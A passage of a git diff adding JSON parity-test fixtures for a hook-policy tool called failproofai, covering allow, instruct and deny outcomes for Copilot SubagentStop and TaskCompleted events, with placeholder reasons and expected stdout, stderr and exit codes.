"SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b08682ff --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..7acff65e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a27761f1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8984bf69 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fa9e8b07 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3eee3c14 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..2c82791e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2c3eb47f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5ae0f599 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..859ab8b7 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..2a702041 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c9a358e8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a19a504f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..77194b50 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..42f46791 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..215e1c64 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c01720c6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2efdc9c1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a41bb456 --- /dev/null +++ 